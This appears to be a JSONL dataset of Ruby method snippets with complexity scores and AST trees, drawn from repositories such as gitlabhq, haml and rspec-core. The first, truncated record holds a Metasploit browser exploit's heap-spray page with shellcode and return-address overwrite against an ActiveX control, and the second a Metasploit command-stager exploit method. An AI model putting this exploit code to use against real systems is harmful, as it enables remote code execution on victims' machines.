%Q|<html>\n<object classid='clsid:98C53984-8BF8-4D11-9B1C-C324FCA9CADE' id='#{mqcontrol}'></object>\n<script language='javascript'>\n#{j_shellcode} = unescape('#{shellcode}');\n#{randnop} = \"#{nops}\";\n#{j_nops} = unescape(#{randnop});\n#{j_headersize} = 20;\n#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length\nwhile (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};\n#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});\n#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});\nwhile(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};\n#{j_memory} = new Array();\nfor (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};\n#{j_ret} = unescape('#{ret}');\nwhile (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};\n#{mqcontrol}.ProgColor = #{j_ret};\n</script>\n</html>\n|\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":95.35,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nops\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"L\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"blocksize\",{\"type\":\"int\",\"children\":[262144]}]},{\"type\":\"lvasgn\",\"children\":[\"fillto\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mqcontrol\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_shellcode\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_nops\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_headersize\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_slackspace\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_fillblock\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_block\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_memory\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_counter\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"j_ret\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"randnop\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<object classid='clsid:98C53984-8BF8-4D11-9B1C-C324FCA9CADE' id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mqcontrol\"]}]},{\"type\":\"str\",\"children\":[\"'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"<script language='javascript'>\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_shellcode\"]}]},{\"type\":\"str\",\"children\":[\" = unescape('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nops\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\" = unescape(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_headersize\"]}]},{\"type\":\"str\",\"children\":[\" = 20;\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_slackspace\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_headersize\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_shellcode\"]}]},{\"type\":\"str\",\"children\":[\".length\\n\"]},{\"type\":\"str\",\"children\":[\"while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\".length < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_slackspace\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_fillblock\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_slackspace\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_block\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_nops\"]}]},{\"type\":\"str\",\"children\":[\".length - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_slackspace\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"while(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_block\"]}]},{\"type\":\"str\",\"children\":[\".length + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_slackspace\"]}]},{\"type\":\"str\",\"children\":[\" < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blocksize\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_block\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_block\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_block\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_fillblock\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_memory\"]}]},{\"type\":\"str\",\"children\":[\" = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"for (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_counter\"]}]},{\"type\":\"str\",\"children\":[\" = 0; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_counter\"]}]},{\"type\":\"str\",\"children\":[\" < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fillto\"]}]},{\"type\":\"str\",\"children\":[\"; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_counter\"]}]},{\"type\":\"str\",\"children\":[\"++) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_memory\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_counter\"]}]},{\"type\":\"str\",\"children\":[\"] = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_block\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_shellcode\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_ret\"]}]},{\"type\":\"str\",\"children\":[\" = unescape('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_ret\"]}]},{\"type\":\"str\",\"children\":[\".length < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_ret\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_ret\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mqcontrol\"]}]},{\"type\":\"str\",\"children\":[\".ProgColor = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j_ret\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"96f95bcc-2de3-463b-9c6d-29bc76dfec58"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cayin_cms_ntp.rb","start_line":134,"raw_source":"def exploit\n    if check != CheckCode::Detected\n      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')\n    end\n\n    @cookie = login\n    execute_cmdstager(flavor: :printf, linemax: 200)\n  rescue ::Rex::ConnectionError\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n  end","complexity_score":12.45,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[null,\"login\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"sym\",\"children\":[\"printf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[200]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to the web service\"]}]}]}]},null]}]}","id":"16a4dbe2-950f-48bb-be5e-56e995ddd07e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/object_storage/migrate_uploads_worker.rb","start_line":22,"raw_source":"def initialize(upload, error = nil)\n        @upload = upload\n        @error = error\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"optarg\",\"children\":[\"error\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@upload\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}","id":"4036af8d-df84-4803-b73b-1c7658a0a25e"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":970,"raw_source":"def libs=(libs)\n        libs.map do |lib|\n          @libs.unshift lib\n          $LOAD_PATH.unshift lib\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"libs=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"libs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"libs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lib\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@libs\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"lib\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"lib\"]}]}]}]}]}","id":"1865b2e8-07af-49f8-945f-10d33e169940"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":978,"raw_source":"def test_a_tag_with_appended_and_inline_content\n      haml    = %q{%li hello\n%li> world\n%li again}\n      html    = %q{<li>hello</li><li>world</li><li>again</li>}\n      locals  = {}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_a_tag_with_appended_and_inline_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%li hello\\n\"]},{\"type\":\"str\",\"children\":[\"%li> world\\n\"]},{\"type\":\"str\",\"children\":[\"%li again\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<li>hello</li><li>world</li><li>again</li>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"29a09d7f-7d98-4908-b300-36dba180e9e6"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/tag_adjustment.rb","start_line":29,"raw_source":"def article_tag_list\n    if adjustment_type == \"removal\" && article.tag_list.none? do |tag|\n         tag.casecmp(tag_name).zero?\n       end\n      errors.add(:tag_id,\n                 I18n.t(\"models.tag_adjustment.not_live\"))\n    end\n    return unless adjustment_type == \"addition\" && article.tag_list.count > 3\n\n    errors.add(:base, I18n.t(\"models.tag_adjustment.too_many_tags\"))\n  end","complexity_score":31.03,"ast_json":"{\"type\":\"def\",\"children\":[\"article_tag_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adjustment_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"removal\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"tag_list\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"casecmp\",{\"type\":\"send\",\"children\":[null,\"tag_name\"]}]},\"zero?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.tag_adjustment.not_live\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adjustment_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"addition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"tag_list\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[3]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.tag_adjustment.too_many_tags\"]}]}]}]}]}","id":"5ffc4e53-2bbd-4807-bce3-fcc3006cebb3"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/core/invokers/literal_invoker.rb","start_line":67,"raw_source":"def invoke_with_variable_arity\n          record.__send__(subject, *args)\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke_with_variable_arity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"__send__\",{\"type\":\"send\",\"children\":[null,\"subject\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]}]}]}]}","id":"9e5924c9-2300-4df2-8682-50af1a9d4156"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/graphql/get_snippet_repository_query.rb","start_line":41,"raw_source":"def data_path\n          base_path << 'nodes'\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_path\"]},\"<<\",{\"type\":\"str\",\"children\":[\"nodes\"]}]}]}","id":"75ffac49-e83e-4772-8f5f-40deccff4064"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/gitignore_template.rb","start_line":18,"raw_source":"def base_dir\n          Rails.root.join('vendor/gitignore')\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"vendor/gitignore\"]}]}]}","id":"2301b737-45cf-48bd-8553-69f101cf88a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/runner/metrics.rb","start_line":30,"raw_source":"def self.runner_authentication_failure_counter\n          strong_memoize(:runner_authentication_failure) do\n            name = :gitlab_ci_runner_authentication_failure_total\n            comment = 'Runner authentication failure'\n\n            ::Gitlab::Metrics.counter(name, comment)\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"runner_authentication_failure_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"runner_authentication_failure\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_runner_authentication_failure_total\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Runner authentication failure\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}]}]}","id":"5b5c665c-47d7-4176-bcc9-955f79dea802"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":64,"raw_source":"def test_an_XHTML_1_0_frameset_doctype\n      haml    = %q{!!! frameset}\n      html    = %q{<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">}\n      locals  = {}\n      options = {:format=>:xhtml}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_an_XHTML_1_0_frameset_doctype\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"str\",\"children\":[\"!!! frameset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<!DOCTYPE html PUBLIC \\\"-//W3C//DTD XHTML 1.0 Frameset//EN\\\" \\\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\\\">\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"xhtml\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"d95952db-f4ee-4ee8-b01a-9cf49cc290f6"}
